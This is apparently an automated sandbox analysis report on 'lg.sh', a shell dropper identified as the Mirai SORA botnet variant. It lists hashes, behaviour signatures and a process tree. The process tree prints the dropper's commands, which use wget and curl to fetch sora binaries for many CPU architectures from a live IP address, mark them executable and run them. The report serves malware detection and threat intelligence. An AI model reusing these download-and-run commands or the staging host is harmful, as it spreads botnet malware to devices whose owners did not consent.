Analysis
-
max time kernel
9s -
max time network
129s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
08/04/2025, 09:22
Static task
static1
Behavioral task
behavioral1
Sample
lg.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
lg.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
lg.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
lg.sh
-
Size
2KB
-
MD5
f8872ee3b57a58ccfa43119fd614fbd1
-
SHA1
b0912a7688fdd33c8b3e15f1c298df7685385dd3
-
SHA256
5407adfb8b731bd05cdde6d94a985842a343b60fbc5a8658b317ad852aea775d
-
SHA512
6f66d006a56b79fcfbaa1b01eb1babf08527760b93dae3787f43790b5a8932284940e260a58f2c2b733b0bfadfbc370833911864876cb54ab87d415c3faac80d
Malware Config
Extracted
mirai
SORA
Extracted
mirai
SORA
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1548 chmod 1577 chmod 1589 chmod 1594 chmod 1600 chmod 1531 chmod 1537 chmod 1543 chmod 1554 chmod 1560 chmod 1565 chmod 1571 chmod 1583 chmod 1525 chmod -
Executes dropped EXE 14 IoCs
ioc pid Process /tmp/robben 1526 lg.sh /tmp/robben 1532 lg.sh /tmp/robben 1538 lg.sh /tmp/robben 1544 lg.sh /tmp/robben 1549 lg.sh /tmp/robben 1555 lg.sh /tmp/robben 1561 lg.sh /tmp/robben 1566 lg.sh /tmp/robben 1572 lg.sh /tmp/robben 1578 lg.sh /tmp/robben 1584 lg.sh /tmp/robben 1590 lg.sh /tmp/robben 1595 lg.sh /tmp/robben 1601 lg.sh -
resource yara_rule behavioral1/files/fstream-1.dat upx behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-5.dat upx behavioral1/files/fstream-7.dat upx -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1528 wget 1529 curl 1530 cat -
Writes file to tmp directory 26 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sora.x86 curl File opened for modification /tmp/sora.mips wget File opened for modification /tmp/sora.x86_64 curl File opened for modification /tmp/sora.mpsl wget File opened for modification /tmp/sora.mpsl curl File opened for modification /tmp/sora.arm7 curl File opened for modification /tmp/sora.sh4 wget File opened for modification /tmp/sora.arm6 curl File opened for modification /tmp/sora.ppc wget File opened for modification /tmp/sora.ppc curl File opened for modification /tmp/sora.m68k curl File opened for modification /tmp/sora.sh4 curl File opened for modification /tmp/sora.x86 wget File opened for modification /tmp/sora.i686 wget File opened for modification /tmp/sora.arm5 wget File opened for modification /tmp/sora.arm5 curl File opened for modification /tmp/sora.arm6 wget File opened for modification /tmp/sora.arm7 wget File opened for modification /tmp/sora.ppc440fp curl File opened for modification /tmp/sora.m68k wget File opened for modification /tmp/robben lg.sh File opened for modification /tmp/sora.mips curl File opened for modification /tmp/sora.x86_64 wget File opened for modification /tmp/sora.i468 curl File opened for modification /tmp/sora.i686 curl File opened for modification /tmp/sora.arm4 curl
Processes
-
/tmp/lg.sh/tmp/lg.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1518 -
/usr/bin/wgetwget http://178.149.240.69/bins/sora.x862⤵
- Writes file to tmp directory
PID:1519
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.x862⤵
- Writes file to tmp directory
PID:1523
-
-
/bin/catcat sora.x862⤵PID:1524
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.x86 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1525
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1528
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1529
-
-
/bin/catcat sora.mips2⤵
- System Network Configuration Discovery
PID:1530
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.mips sora.x86 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1531
-
-
/tmp/robben./robben lg.exploit2⤵PID:1532
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1534
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1535
-
-
/bin/catcat sora.x86_642⤵PID:1536
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.mips sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1537
-
-
/tmp/robben./robben lg.exploit2⤵PID:1538
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.i4682⤵PID:1540
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.i4682⤵
- Writes file to tmp directory
PID:1541
-
-
/bin/catcat sora.i4682⤵PID:1542
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.i468 sora.mips sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1543
-
-
/tmp/robben./robben lg.exploit2⤵PID:1544
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1545
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1546
-
-
/bin/catcat sora.i6862⤵PID:1547
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1548
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1551
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1552
-
-
/bin/catcat sora.mpsl2⤵PID:1553
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1554
-
-
/tmp/robben./robben lg.exploit2⤵PID:1555
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm42⤵PID:1557
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm42⤵
- Writes file to tmp directory
PID:1558
-
-
/bin/catcat sora.arm42⤵PID:1559
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1560
-
-
/tmp/robben./robben lg.exploit2⤵PID:1561
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1562
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1563
-
-
/bin/catcat sora.arm52⤵PID:1564
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1565
-
-
/tmp/robben./robben lg.exploit2⤵PID:1566
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1568
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1569
-
-
/bin/catcat sora.arm62⤵PID:1570
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1571
-
-
/tmp/robben./robben lg.exploit2⤵PID:1572
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1574
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1575
-
-
/bin/catcat sora.arm72⤵PID:1576
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1577
-
-
/tmp/robben./robben lg.exploit2⤵PID:1578
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1580
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1581
-
-
/bin/catcat sora.ppc2⤵PID:1582
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1583
-
-
/tmp/robben./robben lg.exploit2⤵PID:1584
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.ppc440fp2⤵PID:1586
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.ppc440fp2⤵
- Writes file to tmp directory
PID:1587
-
-
/bin/catcat sora.ppc440fp2⤵PID:1588
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1589
-
-
/tmp/robben./robben lg.exploit2⤵PID:1590
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1591
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1592
-
-
/bin/catcat sora.m68k2⤵PID:1593
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1594
-
-
/tmp/robben./robben lg.exploit2⤵PID:1595
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1597
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1598
-
-
/bin/catcat sora.sh42⤵PID:1599
-
-
/bin/chmodchmod +x config-err-gCyp8T lg.sh netplan_wyc3tk7x robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 ssh-SVDKiVjHkouj systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-bolt.service-q2UcgI systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-colord.service-sSoC7O systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-ModemManager.service-4LRLA3 systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-resolved.service-4inXjg systemd-private-cdcdf7bcde8044439b3f56a9e0f0a9a3-systemd-timedated.service-wHvLeo2⤵
- File and Directory Permissions Modification
PID:1600
-
-
/tmp/robben./robben lg.exploit2⤵PID:1601
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
28KB
MD5c665be249de8aacbf7f020710556850f
SHA17bf15fe8983c1a7304ecb626385fd8d656657750
SHA256c70c7d6288ddd3de1e999fef3e15a4cb7d23656de44209d834ea08c97f26f2c3
SHA5122125eacc929f9f6ab5232960153e3a3c2d554cd3f65fa7fb97324a275ce27034621999f2922aaa2a4beeeda75d09b2ff89aab6417e2f93329f56ce2529cd14d8
-
Filesize
28KB
MD5cb095025fabaf4935e7cde669f9b83cb
SHA1f057ff497853eac9b47772ae58a6be561c16edf7
SHA256d0a729eda4e98c132a68864f1feb9f2676840909d2584c4e8225ac058af1581f
SHA512e4df6b3d5de8f2e09c31321931f471b2acf08f24457ac13c59aa24ede5e579db85c07cd447015ddfcf00be0d828277c03598bb732aad9e4928f83c54b7a18739
-
Filesize
212B
MD583ab6cd9a67528bbc6f4f360cb7f8d83
SHA107e8f17209e0569aab39f062568ff0090d9b20d4
SHA2563ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
SHA512171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
-
Filesize
28KB
MD5659a441fb5d03828d0e1dcdc8e94515c
SHA1bf70af5209d2a89bd12c9a9d4b148ddd9b4af02f
SHA2560e878390d0a19156525789562bacf861294b18a9308312e4a9c943d6e900ff44
SHA51225d5d73027f64202338f40ae6ee71b12fa64db01e5b82afe2a3bb7abb415c19246b4368ddb1f98041a439155cadafd7eb7894e67eb31d84f205acc62b70d6cb8
-
Filesize
64KB
MD5d3114b8b81fe0dabf36ebb38e3f69ffe
SHA1ef38c94966a0649c3797af3adb5287c887ef122a
SHA2562d760402220357d43f57edbef3d9e8d9f0526a6c677b4cb77dd63eaceb6f67d1
SHA512d43b02f9ca7a489270f552c1a89b3c6d36270fa06090a9cdfe64f506ac3d0eb344de161a25c639128ac66ac77573b389087f36939177f3cc189ec39a23addc72
-
Filesize
27KB
MD5ed0134170c819d0a2c3526f5ed8ecad5
SHA1af1324bb6e6554b496e5938185f74456b69e54e1
SHA256cd67a9db1c069d8a9ee68a76c68d20c53659d319425ecabf8a0c5b193aeb6fe8
SHA51298ebd8a6a42f7c3a324cacc429d27fdd5cecf9995971adefdef184e15926741263a19429fa2966a4ced0d00fa715a36028e23b8e7cf5a5e0e567296d34b56ab6